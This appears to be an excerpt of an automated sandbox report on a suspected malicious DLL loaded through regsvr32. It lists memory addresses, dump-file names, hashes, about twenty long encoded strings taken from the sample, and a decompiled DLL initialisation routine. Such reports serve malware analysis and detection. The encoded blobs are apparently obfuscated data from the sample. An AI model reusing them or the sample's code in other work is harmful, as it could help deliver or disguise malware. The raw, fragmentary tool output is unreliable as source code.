0x100076d5
0x100076e9
0x100076f2
0x100076fb
0x10007706
0x1000770d
0x1000770d
0x10007721
0x1000772a
0x10007733
0x1000773e
0x10007745
0x10007745
0x10007759
0x10007762
0x1000776b
0x10007776
0x1000777d
0x1000777d
0x10007791
0x1000779a
0x100077a3
0x100077ae
0x100077b5
0x100077b5
0x100077c9
0x100077d2
0x100077db
0x100077e6
0x100077ed
0x100077ed
0x10007801
0x1000780a
0x10007813
0x1000781e
0x10007825
0x10007825
0x10007839
0x10007842
0x1000784b
0x10007856
0x1000785d
0x1000785d
0x1000786c

Strings

WLA3ZjcAakRYBVgAQGp7TUlfL3g3F1QqZzR/dlhzR0McXkBhXaZQ13TzTZQiFi8UcBRHYUIbVl56OWZeLBwMR08eSChvd2hHcRMAX191SVZKA3UjU8Y6FilmfkRVNVMATWpuTUTMOZgvN19KZzd+dlsjdkMfC0hhUmJLN2fRX6Q8hjwEd15AYVl0xl57ec5eLXm1R196Zih1f0ZHaDEFb197RVZEQ2wjXTA5ZjJAZERdk1NQXk5nTUY6Ongzc1gqdrp4, xrefs: 1000782A
E3pBuref3XuqE3AK51xQVvtOYEOLG3pBxBJ6F/NvY2yhYgxHvvyaJjMfHtcpSZEaE1hOLlQq52xQVm+UYUOLE3pBurd1/anKRJ7rjy39OmBn4DckfwzcTFbVc1wDzhAORmD3slyErY9ADBbioQYXvKDLFanUmRu0/wBjKQuLWmuNTVaZc1xjS88qZu8wUgCJxEMAF9uhQtOfN3gjgBAOVo8kdkT/yumq9ZklaX5CF7uyxiAOVlzcw5PGJWcwSVOestcS, xrefs: 100076DA
TRrV+DSogWf4LqO//yhjSQ+JK3pBsoYSuuQH11QqZmH/LWwO6ig4FtWCDAgBabvvD9/uLqEsfgzOCVNI1i55Bd8mFzl1D9fGFqPIUpRHYUNI1OpFjVZeNzCo63CSZih0Os/zResAX17oNY6Zd6gnR1QqLqEEvgzOCYOL23rRTVZevjwHd9+uQoh0dkQL6Dckd9claXYWvKHLTPcqZmD/c9DXY0PH23qpTVZehMsjRxyvpifxyERHYYREezYiCFZejS1U, xrefs: 1000743A
YcJFVMi4TVbfQnMfRV0qoW2LJeJHYcJ1oOEUzAafUocphjHVbukZiUbGFLxOEbVyihNNuYojR9VvdWQAdkTGFFCLYl9hihNRf7IjRz9vaTP9M0vGFExSyspAxhNRunRjhrUp72V7tylIYsJ1UCqSw1LVcneqw3CqZih0/QFU6AckNxbsCEkWvjwHJ99vYaEwUhzMJLyJG3oxBN0YbzCqA3Bi7W58/wBjIchFVBboEXJmvjwHd99vZWz/O78D6gb31AuO, xrefs: 1000766A
cERH4PYoWV5hzwdXN7+mZ1IqZi5EdkTM5GMGX17sQRaf1nqqynQsZij182RBYUNjfF5hzON+MXgjDl4lZu/xZkJHYSxvX17gyEZYN3giilQq561kcERHEX//oN/UXVBeN1UySlTt4zBydkQLAkMAnvt5S1ZeP/OuX1IqZpDLSvJlLcjDqL+gp1LXomAlR1Sr0zBydkSy9WNK3ut5S1Zel4IBDd+vfi50dgDM7FMGX17q2HZYN3ioynwsZij9MmBniXiB, xrefs: 10007782
730jR9Wnvi10dudZdN/B8oZkTVZTts37QlQqFx9xdoPCqUYAX7STTVafmrAmR1QiDa28c0RHPsqFl1thTdfT/30jR4OAmOj1w4xCYUPTGqKNzOOWMngjRJ4nSu/xpkFHYZsTX17gwIZbN3gbQoUop4Wkc0RHZYKtj1thTUbfgqgmR1Snpyd0/cGXZEMAG9XshVNeN/O2n1EqZqEwUmSvbKgAX9uhOVzmn5IjR70YnteLzno5YUM9YSBhTVnaloHcuL03, xrefs: 10007632
6yW2y0VH6gZ3nr5kxBMpj2krQ1arK1+FW2VqoCZ3WN8UOiIYoe3kAlNP0Ch09zFAZN0Hat8USg9TO03kAisadCh09wE4v/P/oN8UMvQhyYfkAjNKPih0/QkglqIrlY+ITpyf3n6qCjOhI0+1lkfOJCTBOjlkzCM5NrghR99vAWz/MzvMNESLEinoCXJ+35bQuKuSLe90ds1C+v8BX7e3RFZe8D1cbU0qZmT5e+T7YEPBOiFnAd8SEzBvylnC2il09wk4, xrefs: 1000758A
psckn15hTQsYN3jkw3DuZih0V/NHYQuFn1HkVVdeN7+nY4QqZii00kRH2XzFeh2mCXJ2RSa+a9+mQvh0dkSwgILqW9f1aYZeN3hIw3D6Zih0Nc3DRZMAX17ZSBdOM/mnY4QqZihG17u4oO8kj15hTVvfg1zzR1QqgJRwdoMDRSdnOl5hzCJ6UxamiL2hKgwQgaX/Lq/EEXWrnL9d/bnKQd1mQkz1AmAjY4fdXpklaTYePXgjhjgOBi+1GmAnYsJ0ez6+, xrefs: 100077F2
fvNYXx2hhXW3uoiLKcpce1YpxCJ6Jy9rxLhqL6OMPs+2iXFdX15SjZEaE0j45VQq72xQQgzMPWcw5yy5TVZj228jR1uuWCl0dnn3JUMAUNp3TFZeCvJyR1Ql4tF0dkR6ZjgAX1HlnVZeN0VRn1Qqaa3+d0RHpgckd0GVTVbm/jo19d9mQgCDl/xCIFMEnrRkxAJ6H/NvY3zdhwO+p61Eq4LpWdctaX7nR3gjR9VuQgAeIru44Dckd/dRv6mZc1wHytgq, xrefs: 100074AA
X7fwsamh8D07hCUqZkMxbgHOJFvBOkZuzBNGwlYjR9VffhW7uxCAJGNNE15hxht+j9ddlwXdhwO+p61Eq4LpWdcsbZc7F3riInQi521UrzhHYcJ1f7kMQlaZclD82lQq521ciEpHYfo4X15hzCN2McEuR99vTqMxVs8CeatfLF5hBd9bp6UiRxyvplwVzjw4YUPpX6KespEbF09LR1TrCwh+9wFnBjEAX98UbcorPnjkAkw+2Sh09wFfkisAX98UVQai, xrefs: 10007552
zCN2n0MvR99vTmz/O2TMNHOLEkboCXJ+31u4uKuSFGx0dq0Omrz/mBt5Y6teN7lGX1CrEzB3R0lHpgYgir5hTZc7F3qiMnRvZCJ0/QFn6gYYt8DEsqmZcmAKglQq521sZeFHYQuLhzUkVUPXcmDiKkwh511sZGF0ZsJ1R0K+d1GZclgkR1Qq52VUV2l+8YJlf07qAHYfj61iWoBr7eiDlwXMoQ+LnHWrnL9d/bnKQd1nRukZVk/GFGMq0VhhihNueNcj, xrefs: 100075C2
hwO+p61Eq4LpWdfsxVdeN/mWz1UqZmRAeEaA5NsBX17iD1Zets27RlQq0ketlcXy+UIAX524nrWZsugiR1TV0yh098HXYEMAa1xhTZf7p3kjR1Or07h1dkT4xRoA1NvxTFZec/Ou31UqZqPh/kVHYciN319hTd8aE0hryhAOJmD9MmBvidiQX17kjVna2IXcuOwcdyh0nyK6nry4WJJhTb8CyofcgNGiZyh08dNHYYKt119hTVnfsvAiR1TD/yh098HP, xrefs: 10007712
MwuAJCyrJl5hJhMxb/FmKNVvCb+adkTGFCyzYXd/xhMxvj3IgBFFOEZ0dsUCDjtDX17qADnmDvbAf6PLp8J2/xEo4DZvNJQBLd0bWPFmqJNvCeIcdkTGJCyzS6GezCMx7oS2zd9vCaExcYMCDj/0X17gCDlMzHgjxiFFHEleMc8CDspFTJkkIonlN3iiMjswh4xG9zEoBNnPF9UkIt8bLL9mKJEoZij1Oys9SyGS3hsOllpeN/lWKDOcXtf/MyvOJGzH, xrefs: 100075FA
l9eL9wko4fv5Jd8UIlr2xIeoCjuhK1ecXr+4noRF6AizTVbfcs+U7FQqIqO8zp/G2DWBGumd8FZetj2USBDVmakBwWBLa0PHGiGNZFZeXDVcDd1nGakxCeTXYUOLEiGWrB7V/LnJQt1/GWD/ocUyHotRX16mCDlbxngjLBFFHqExGcUCDh3WX16gIDlXtg1M7bYFC6kBGauSQS7HGuXbsFZe5hWYhjmRY6kBzYKPa0OLGuXoCXIevD1MzhAOXmD5M5MP, xrefs: 100073F8
xIfkw3B6Zyh02exHYYKsew5gTVZXvPQHF1UqZt+Vt65C6NckD19hTdfaEygiR1R7Mih0HcBjMUIAXzboyXIONngj/49hDgf1wmAXYEMAql9ETZHaEyAiR1TakSh0t+hjOUIAX1rqwXIGNngjsLUBrPmddY79sqLBL5+ISd/SEyAiR1Sr0gwsd0RHCV0KX5nlacJeN3hhxlQq56xQ4kRHYQHboKHg+XLKN3gjhfwiZqPwUtBHYUOL23o5TFZevPwHF1Uq, xrefs: 100077BA
2VB4pH/o2A5fN3iiygwrZihlcTb36s5YXl5hurd1/cBeS5rtt8F3vIWuZ8qNB19hTdfrb3kjR3KJ7ymz8xRGYUMVuV5hzNsONngjRAjWgqP5JkVHYbThnrRn9HZWN3iq0gQrZij1wxRGYUNawx5FzOMONngjilChQO/xFkVHYYi/X17gyDZfN3gkg1Qqp4UUd0RHasK1P19hTYdVMHiowjQrZij/8xRGYUOL2gZgTVa2TMEjRxyhvmDxtjACiL3+oKHi, xrefs: 100074E2
CHnjqngjgBEZnKF0dnec2T9oX15c0jReN3en3FYqZhUIHkRHbseGXV5hcDSyN3gsw9QuZihJGLBHYUyEsF9hTWuPyXgjSNF0Yih0sQFQGw4AX98kWufJN3iiMkPlJ8dGtylQZ8JFSGHSTVbfQm/xNpgqoW1bGYxHYYJtcFDiOHlc8D0sUPMqZkMxeRXOJEy4QCw4fNcbOLtTR1SrIycF37u44DYPOBdXTZEbFENzR1ShKwuDl4WtZcpVfN8kbsBHyIfi, xrefs: 1000774A
xuGCZSh0EMtHYYSF711hTfRGN3hrygAONkPxxkdHYQ2J2u5iTVbfssggR1RGpteL9/H3YkMAefVtTZHbl3sjR1ZfZij1w+REYUNNzRF/zNP+NHgjixMqZqnB1kdHYftQCECmyO5dN3hUlVQq56XMdURHbHtJ79/U9VVeN9cgC+Rm7SWFdEZH6sa4XF5hBNWfM/FnY3xu72xQVgDM5OMDX17qwOZdN3jLY4MrZqO8/cHvYkMAZJZuyERdN3icRlQqZpO6, xrefs: 1000751A
xhgOVnWz1oDMJWcw0lIhjLdbvjQHd9VeQhjZLyKy6gckb9claWbVe1wbzBAOJhu8N81Ppgckb18zTVbfc1wTXwfVmakwUnSGQkMA3hpFfb8FN3hIA3AaVaEwUnTGFWcwi6pqTd0aE0iqA3Aa7WRQPs9DRXDIHtcpSZEaE0gITVQq52RQRoiEWiaBG3pR8AqhyPlXY2SL6B8R/QBjUcpEe24pzpJ29LTvD912QiAhPs+rKcDsHxbqlL5tF4fcgBECXgJ0, xrefs: 100076A2
EgTxTVVeN3gnR1Qqmdd0dvxHYUMAX15hDVZeN3gjR1QqZih0dkRHYUMAX15hTVZeN3gjR1QqZih0dkRHoUMAX1B+91heg3HuZuwrKuVVIiwuEmNwLTEGPzczFxtCKTpFEggWE2Q1FC0gNjBBCRkNFxVMIzEEayV+UkRHYUMAX15Wfz3mRCsmrCd5Y8MHJUGsb2ngtDswSL1QHaHINQcvjSZera81MkbrDTcCJSUNMpMjR1QqZih0dkRHYUMAX15hHRNe, xrefs: 100073D2, 100073E1
54UjRXcEnjpFeVSfW1wXRdVeQhw740dHpgckbwvoTVafU1wTQ9VeQhikHz+M4Dckb6Kt7WffQ1wTs9P0nO8wUnx+HUMA3hJFdQHVp/SiM3ASeCLh+oMDRSuIU15hjDp6X3CoA3BCZej9MmAvoCckN1DgOXI2FBQgR99uQkD/MmB/6gckb9UlaWK2KbrcuByjY5sZdET9ZUIAXxbqhh7d8yh4D6vKquS4PsereYREe34UdlZe8DwHZx/dZig4/Y3MNWcg, xrefs: 10007472

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: 2VB4pH/o2A5fN3iiygwrZihlcTb36s5YXl5hurd1/cBeS5rtt8F3vIWuZ8qNB19hTdfrb3kjR3KJ7ymz8xRGYUMVuV5hzNsONngjRAjWgqP5JkVHYbThnrRn9HZWN3iq0gQrZij1wxRGYUNawx5FzOMONngjilChQO/xFkVHYYi/X17gyDZfN3gkg1Qqp4UUd0RHasK1P19hTYdVMHiowjQrZij/8xRGYUOL2gZgTVa2TMEjRxyhvmDxtjACiL3+oKHi$54UjRXcEnjpFeVSfW1wXRdVeQhw740dHpgckbwvoTVafU1wTQ9VeQhikHz+M4Dckb6Kt7WffQ1wTs9P0nO8wUnx+HUMA3hJFdQHVp/SiM3ASeCLh+oMDRSuIU15hjDp6X3CoA3BCZej9MmAvoCckN1DgOXI2FBQgR99uQkD/MmB/6gckb9UlaWK2KbrcuByjY5sZdET9ZUIAXxbqhh7d8yh4D6vKquS4PsereYREe34UdlZe8DwHZx/dZig4/Y3MNWcg$6yW2y0VH6gZ3nr5kxBMpj2krQ1arK1+FW2VqoCZ3WN8UOiIYoe3kAlNP0Ch09zFAZN0Hat8USg9TO03kAisadCh09wE4v/P/oN8UMvQhyYfkAjNKPih0/QkglqIrlY+ITpyf3n6qCjOhI0+1lkfOJCTBOjlkzCM5NrghR99vAWz/MzvMNESLEinoCXJ+35bQuKuSLe90ds1C+v8BX7e3RFZe8D1cbU0qZmT5e+T7YEPBOiFnAd8SEzBvylnC2il09wk4$730jR9Wnvi10dudZdN/B8oZkTVZTts37QlQqFx9xdoPCqUYAX7STTVafmrAmR1QiDa28c0RHPsqFl1thTdfT/30jR4OAmOj1w4xCYUPTGqKNzOOWMngjRJ4nSu/xpkFHYZsTX17gwIZbN3gbQoUop4Wkc0RHZYKtj1thTUbfgqgmR1Snpyd0/cGXZEMAG9XshVNeN/O2n1EqZqEwUmSvbKgAX9uhOVzmn5IjR70YnteLzno5YUM9YSBhTVnaloHcuL03$CHnjqngjgBEZnKF0dnec2T9oX15c0jReN3en3FYqZhUIHkRHbseGXV5hcDSyN3gsw9QuZihJGLBHYUyEsF9hTWuPyXgjSNF0Yih0sQFQGw4AX98kWufJN3iiMkPlJ8dGtylQZ8JFSGHSTVbfQm/xNpgqoW1bGYxHYYJtcFDiOHlc8D0sUPMqZkMxeRXOJEy4QCw4fNcbOLtTR1SrIycF37u44DYPOBdXTZEbFENzR1ShKwuDl4WtZcpVfN8kbsBHyIfi$E3pBuref3XuqE3AK51xQVvtOYEOLG3pBxBJ6F/NvY2yhYgxHvvyaJjMfHtcpSZEaE1hOLlQq52xQVm+UYUOLE3pBurd1/anKRJ7rjy39OmBn4DckfwzcTFbVc1wDzhAORmD3slyErY9ADBbioQYXvKDLFanUmRu0/wBjKQuLWmuNTVaZc1xjS88qZu8wUgCJxEMAF9uhQtOfN3gjgBAOVo8kdkT/yumq9ZklaX5CF7uyxiAOVlzcw5PGJWcwSVOestcS$EgTxTVVeN3gnR1Qqmdd0dvxHYUMAX15hDVZeN3gjR1QqZih0dkRHYUMAX15hTVZeN3gjR1QqZih0dkRHoUMAX1B+91heg3HuZuwrKuVVIiwuEmNwLTEGPzczFxtCKTpFEggWE2Q1FC0gNjBBCRkNFxVMIzEEayV+UkRHYUMAX15Wfz3mRCsmrCd5Y8MHJUGsb2ngtDswSL1QHaHINQcvjSZera81MkbrDTcCJSUNMpMjR1QqZih0dkRHYUMAX15hHRNe$MwuAJCyrJl5hJhMxb/FmKNVvCb+adkTGFCyzYXd/xhMxvj3IgBFFOEZ0dsUCDjtDX17qADnmDvbAf6PLp8J2/xEo4DZvNJQBLd0bWPFmqJNvCeIcdkTGJCyzS6GezCMx7oS2zd9vCaExcYMCDj/0X17gCDlMzHgjxiFFHEleMc8CDspFTJkkIonlN3iiMjswh4xG9zEoBNnPF9UkIt8bLL9mKJEoZij1Oys9SyGS3hsOllpeN/lWKDOcXtf/MyvOJGzH$TRrV+DSogWf4LqO//yhjSQ+JK3pBsoYSuuQH11QqZmH/LWwO6ig4FtWCDAgBabvvD9/uLqEsfgzOCVNI1i55Bd8mFzl1D9fGFqPIUpRHYUNI1OpFjVZeNzCo63CSZih0Os/zResAX17oNY6Zd6gnR1QqLqEEvgzOCYOL23rRTVZevjwHd9+uQoh0dkQL6Dckd9claXYWvKHLTPcqZmD/c9DXY0PH23qpTVZehMsjRxyvpifxyERHYYREezYiCFZejS1U$WLA3ZjcAakRYBVgAQGp7TUlfL3g3F1QqZzR/dlhzR0McXkBhXaZQ13TzTZQiFi8UcBRHYUIbVl56OWZeLBwMR08eSChvd2hHcRMAX191SVZKA3UjU8Y6FilmfkRVNVMATWpuTUTMOZgvN19KZzd+dlsjdkMfC0hhUmJLN2fRX6Q8hjwEd15AYVl0xl57ec5eLXm1R196Zih1f0ZHaDEFb197RVZEQ2wjXTA5ZjJAZERdk1NQXk5nTUY6Ongzc1gqdrp4$X7fwsamh8D07hCUqZkMxbgHOJFvBOkZuzBNGwlYjR9VffhW7uxCAJGNNE15hxht+j9ddlwXdhwO+p61Eq4LpWdcsbZc7F3riInQi521UrzhHYcJ1f7kMQlaZclD82lQq521ciEpHYfo4X15hzCN2McEuR99vTqMxVs8CeatfLF5hBd9bp6UiRxyvplwVzjw4YUPpX6KespEbF09LR1TrCwh+9wFnBjEAX98UbcorPnjkAkw+2Sh09wFfkisAX98UVQai$YcJFVMi4TVbfQnMfRV0qoW2LJeJHYcJ1oOEUzAafUocphjHVbukZiUbGFLxOEbVyihNNuYojR9VvdWQAdkTGFFCLYl9hihNRf7IjRz9vaTP9M0vGFExSyspAxhNRunRjhrUp72V7tylIYsJ1UCqSw1LVcneqw3CqZih0/QFU6AckNxbsCEkWvjwHJ99vYaEwUhzMJLyJG3oxBN0YbzCqA3Bi7W58/wBjIchFVBboEXJmvjwHd99vZWz/O78D6gb31AuO$cERH4PYoWV5hzwdXN7+mZ1IqZi5EdkTM5GMGX17sQRaf1nqqynQsZij182RBYUNjfF5hzON+MXgjDl4lZu/xZkJHYSxvX17gyEZYN3giilQq561kcERHEX//oN/UXVBeN1UySlTt4zBydkQLAkMAnvt5S1ZeP/OuX1IqZpDLSvJlLcjDqL+gp1LXomAlR1Sr0zBydkSy9WNK3ut5S1Zel4IBDd+vfi50dgDM7FMGX17q2HZYN3ioynwsZij9MmBniXiB$fvNYXx2hhXW3uoiLKcpce1YpxCJ6Jy9rxLhqL6OMPs+2iXFdX15SjZEaE0j45VQq72xQQgzMPWcw5yy5TVZj228jR1uuWCl0dnn3JUMAUNp3TFZeCvJyR1Ql4tF0dkR6ZjgAX1HlnVZeN0VRn1Qqaa3+d0RHpgckd0GVTVbm/jo19d9mQgCDl/xCIFMEnrRkxAJ6H/NvY3zdhwO+p61Eq4LpWdctaX7nR3gjR9VuQgAeIru44Dckd/dRv6mZc1wHytgq$hwO+p61Eq4LpWdfsxVdeN/mWz1UqZmRAeEaA5NsBX17iD1Zets27RlQq0ketlcXy+UIAX524nrWZsugiR1TV0yh098HXYEMAa1xhTZf7p3kjR1Or07h1dkT4xRoA1NvxTFZec/Ou31UqZqPh/kVHYciN319hTd8aE0hryhAOJmD9MmBvidiQX17kjVna2IXcuOwcdyh0nyK6nry4WJJhTb8CyofcgNGiZyh08dNHYYKt119hTVnfsvAiR1TD/yh098HP$l9eL9wko4fv5Jd8UIlr2xIeoCjuhK1ecXr+4noRF6AizTVbfcs+U7FQqIqO8zp/G2DWBGumd8FZetj2USBDVmakBwWBLa0PHGiGNZFZeXDVcDd1nGakxCeTXYUOLEiGWrB7V/LnJQt1/GWD/ocUyHotRX16mCDlbxngjLBFFHqExGcUCDh3WX16gIDlXtg1M7bYFC6kBGauSQS7HGuXbsFZe5hWYhjmRY6kBzYKPa0OLGuXoCXIevD1MzhAOXmD5M5MP$psckn15hTQsYN3jkw3DuZih0V/NHYQuFn1HkVVdeN7+nY4QqZii00kRH2XzFeh2mCXJ2RSa+a9+mQvh0dkSwgILqW9f1aYZeN3hIw3D6Zih0Nc3DRZMAX17ZSBdOM/mnY4QqZihG17u4oO8kj15hTVvfg1zzR1QqgJRwdoMDRSdnOl5hzCJ6UxamiL2hKgwQgaX/Lq/EEXWrnL9d/bnKQd1mQkz1AmAjY4fdXpklaTYePXgjhjgOBi+1GmAnYsJ0ez6+$xIfkw3B6Zyh02exHYYKsew5gTVZXvPQHF1UqZt+Vt65C6NckD19hTdfaEygiR1R7Mih0HcBjMUIAXzboyXIONngj/49hDgf1wmAXYEMAql9ETZHaEyAiR1TakSh0t+hjOUIAX1rqwXIGNngjsLUBrPmddY79sqLBL5+ISd/SEyAiR1Sr0gwsd0RHCV0KX5nlacJeN3hhxlQq56xQ4kRHYQHboKHg+XLKN3gjhfwiZqPwUtBHYUOL23o5TFZevPwHF1Uq$xhgOVnWz1oDMJWcw0lIhjLdbvjQHd9VeQhjZLyKy6gckb9claWbVe1wbzBAOJhu8N81Ppgckb18zTVbfc1wTXwfVmakwUnSGQkMA3hpFfb8FN3hIA3AaVaEwUnTGFWcwi6pqTd0aE0iqA3Aa7WRQPs9DRXDIHtcpSZEaE0gITVQq52RQRoiEWiaBG3pR8AqhyPlXY2SL6B8R/QBjUcpEe24pzpJ29LTvD912QiAhPs+rKcDsHxbqlL5tF4fcgBECXgJ0$xuGCZSh0EMtHYYSF711hTfRGN3hrygAONkPxxkdHYQ2J2u5iTVbfssggR1RGpteL9/H3YkMAefVtTZHbl3sjR1ZfZij1w+REYUNNzRF/zNP+NHgjixMqZqnB1kdHYftQCECmyO5dN3hUlVQq56XMdURHbHtJ79/U9VVeN9cgC+Rm7SWFdEZH6sa4XF5hBNWfM/FnY3xu72xQVgDM5OMDX17qwOZdN3jLY4MrZqO8/cHvYkMAZJZuyERdN3icRlQqZpO6$zCN2n0MvR99vTmz/O2TMNHOLEkboCXJ+31u4uKuSFGx0dq0Omrz/mBt5Y6teN7lGX1CrEzB3R0lHpgYgir5hTZc7F3qiMnRvZCJ0/QFn6gYYt8DEsqmZcmAKglQq521sZeFHYQuLhzUkVUPXcmDiKkwh511sZGF0ZsJ1R0K+d1GZclgkR1Qq52VUV2l+8YJlf07qAHYfj61iWoBr7eiDlwXMoQ+LnHWrnL9d/bnKQd1nRukZVk/GFGMq0VhhihNueNcj
API String ID: 0-3754101764
Opcode ID: 5ed4e24a816241f40083c12506df4c853155e4ba07b78d2c24d738120f67c5ca
Instruction ID: 36df7972ea0092aae0aa2374e75f764199ded67495c415ac72c2cb7e8b6020db
Opcode Fuzzy Hash: 5ed4e24a816241f40083c12506df4c853155e4ba07b78d2c24d738120f67c5ca
Instruction Fuzzy Hash: 0BB19167219A8046EB20DB61EC257DEA321F78ABD4F405231BD8D57A5DDF7DD680CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10031FC0 Relevance: 15.2, APIs: 10, Instructions: 150
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E10031FC0(void* __ebx, long* __edx, long* __rax, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, intOrPtr __r8, long long __r12, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				void* _t23;
				intOrPtr _t27;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t56;
				intOrPtr _t58;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t65;
				signed int _t78;
				signed int _t79;
				long _t80;
				long* _t90;
				void* _t98;
				long* _t103;
				long* _t106;
				intOrPtr _t108;
				intOrPtr _t110;
				intOrPtr _t112;
				long* _t114;
				void* _t116;
				intOrPtr _t118;
				void* _t119;
				void* _t120;
				void* _t121;

				_t117 = __r12;
				_t111 = __rbp;
				_t109 = __rsi;
				_t107 = __rdi;
				_t105 = __rdx;
				_t86 = __rax;
				_t71 = __edx;
				_t65 = __ebx;
				_a32 = __rbx;
				_t88 = __r8;
				if(__edx != 1) {
					__eflags = __edx;
					if(__edx != 0) {
						__eflags = __edx - 2;
						if(__edx != 2) {
							__eflags = __edx - 3;
							if(__edx == 3) {
								__eflags = 0;
								E10036190(__rax, _t98);
							}
							goto L30;
						} else {
							E1004F9F0(_t23);
							_t27 = E10038890(__rax, __r8, _t98, __rdx, __rdi, __rsi, __rbp, __r12);
							__eflags = _t86;
							_t90 = _t86;
							if(_t86 == 0) {
								goto L4;
							} else {
								_t106 = _t86;
								__imp__FlsSetValue();
								__eflags = _t27;
								if(_t27 == 0) {
									E1002E330(_t86, _t90);
									__eflags = 0;
									return 0;
								} else {
									__eflags = 0;
									E10035DC0(_t86, _t90, _t90, _t106, _t107, _t109);
									_t32 = GetCurrentThreadId();
									_t90[2] = 0xffffffff;
									 *_t90 = _t32;
									return 1;
								}
							}
						}
					} else {
						_t34 =  *0x100b76a8; // 0x0
						__eflags = _t34;
						if(_t34 <= 0) {
							goto L4;
						} else {
							__eflags =  *0x100b7728 - _t71; // 0x1
							 *0x100b76a8 = _t34 - 1;
							if(__eflags == 0) {
								E10033610(__rax, __r8, __rdx, __rdi, __rsi, __r12); // executed
							}
							__eflags = _t88;
							if(_t88 != 0) {
								L30:
								return 1;
							} else {
								E1003DCF0(_t88, _t107, _t109, _t111);
								E10035D70(_t88, _t107, _t109, _t111, _t117);
								E10034240();
								return _t88 + 1;
							}
						}
					}
				} else {
					GetProcessHeap();
					r8d = 0x94;
					HeapAlloc(??, ??, ??);
					_t95 = __rax;
					if(__rax == 0) {
						L4:
						return 0;
					} else {
						 *__rax = 0x94;
						if(GetVersionExA(??) != 0) {
							_v8 = __rbp;
							_t80 = __rax[2];
							_v16 = __rsi;
							_t79 = __rax[1];
							_v24 = __rdi;
							_v32 = __r12;
							r12d = __rax[4];
							_t78 = __rax[3] & 0x00007fff;
							GetProcessHeap();
							_t114 = __rax;
							_t103 = __rax;
							HeapFree(??, ??, ??);
							__eflags = r12d - 2;
							if(r12d != 2) {
								asm("bts edi, 0xf");
							}
							 *0x100b76cc = r12d;
							 *0x100b76d8 = _t79;
							 *0x100b76dc = _t80;
							 *0x100b76d0 = _t78;
							 *0x100b76d4 = (_t79 << 8) + _t80; // executed
							_t49 = E100341E0(1, _t86); // executed
							_t118 = _v32;
							__eflags = _t49;
							_t108 = _v24;
							_t110 = _v16;
							_t112 = _v8;
							if(__eflags == 0) {
								goto L4;
							} else {
								_t50 = E100361F0(0, __eflags, _t86, _t103, _t105, _t108, _t110, _t118, _t119); // executed
								__eflags = _t50;
								if(_t50 == 0) {
									L16:
									E10034240();
									__eflags = 0;
									return 0;
								} else {
									E1003ED70(_t95, _t108);
									GetCommandLineA();
									 *0x100b9d68 = _t86;
									E1003EB80(_t65, _t80, _t86, _t95, _t108, _t110, _t112, _t118);
									 *0x100b76b0 = _t86;
									_t56 = E1003D9A0(_t78, _t95, _t105, _t108, _t110, _t114, _t118, _t119, _t120, _t121);
									__eflags = _t56;
									if(_t56 < 0) {
										L15:
										E10035D70(_t95, _t108, _t110, _t112, _t118);
										goto L16;
									} else {
										_t58 = E1003EA70(_t95, _t108, _t110, _t114, _t118, _t119, _t120);
										__eflags = _t58;
										if(_t58 < 0) {
											L14:
											E1003DCF0(_t95, _t108, _t110, _t112);
											goto L15;
										} else {
											_t60 = E1003E6B0(1, _t86, _t95, _t108, _t110, _t112, _t114, _t116, _t118);
											__eflags = _t60;
											if(_t60 < 0) {
												goto L14;
											} else {
												_t61 = E100333F0(0, _t86, _t95, _t105, _t108, _t114); // executed
												__eflags = _t61;
												if(_t61 != 0) {
													goto L14;
												} else {
													 *0x100b76a8 =  *0x100b76a8 + 1;
													__eflags =  *0x100b76a8;
													return 1;
												}
											}
										}
									}
								}
							}
						} else {
							GetProcessHeap();
							HeapFree(??, ??, ??);
							goto L4;
						}
					}
				}
			}

0x10031fc0
0x10031fc0
0x10031fc0
0x10031fc0
0x10031fc0
0x10031fc0
0x10031fc0
0x10031fc0
0x10031fc7
0x10031fcc
0x10031fcf
0x10032136
0x10032138
0x10032183
0x10032186
0x100321f8
0x100321fb
0x100321fd
0x100321ff
0x100321ff
0x00000000
0x10032188
0x10032188
0x10032197
0x1003219c
0x1003219f
0x100321a2
0x00000000
0x100321a8
0x100321ae
0x100321b1
0x100321b7
0x100321b9
0x100321e7
0x100321ec
0x100321f7
0x100321bb
0x100321bb
0x100321c0
0x100321c5
0x100321cb
0x100321d3
0x100321e3
0x100321e3
0x100321b9
0x100321a2
0x1003213a
0x1003213a
0x10032140
0x10032142
0x00000000
0x10032148
0x1003214b
0x10032151
0x10032157
0x10032159
0x10032159
0x1003215e
0x10032161
0x10032204
0x10032212
0x10032167
0x10032167
0x1003216c
0x10032171
0x10032182
0x10032182
0x10032161
0x10032142
0x10031fd5
0x10031fd5
0x10031fdd
0x10031fe6
0x10031fef
0x10031ff2
0x1003201b
0x10032026
0x10031ff4
0x10031ff7
0x10032005
0x10032027
0x1003202c
0x1003202f
0x10032034
0x10032037
0x1003203f
0x10032044
0x10032048
0x1003204e
0x10032054
0x10032059
0x1003205c
0x10032062
0x10032066
0x10032068
0x10032068
0x10032073
0x1003207d
0x10032083
0x1003208b
0x10032091
0x10032097
0x1003209c
0x100320a1
0x100320a3
0x100320a8
0x100320ad
0x100320b2
0x00000000
0x100320b8
0x100320b8
0x100320bd
0x100320bf
0x10032125
0x10032125
0x1003212a
0x10032135
0x100320c1
0x100320c1
0x100320c6
0x100320cc
0x100320d3
0x100320d8
0x100320df
0x100320e4
0x100320e6
0x10032120
0x10032120
0x00000000
0x100320e8
0x100320e8
0x100320ed
0x100320ef
0x1003211b
0x1003211b
0x00000000
0x100320f1
0x100320f1
0x100320f6
0x100320f8
0x00000000
0x100320fa
0x100320fc
